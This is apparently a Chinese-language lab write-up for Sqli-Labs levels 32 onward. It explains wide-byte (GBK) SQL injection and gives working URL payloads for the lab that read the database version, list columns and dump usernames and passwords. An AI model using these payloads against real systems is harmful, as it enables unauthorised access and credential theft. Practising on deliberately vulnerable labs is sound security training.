Sqli-Labs 闯关 less 32-41
Less 32 这一关涉及到了一个新的知识点——宽字节注入。 GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。 具体可参考链接:https://blog.csdn.net/helloc0de/article/details/76180190 URL编码的解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp 爆库:?id=-1%E6' union select 1,version(),database() --+ 'user'用十六进制编码替代, 爆列: ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+ 爆用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+ Less 33 这一关是使用函数过滤。而上一关用的是自定义过滤。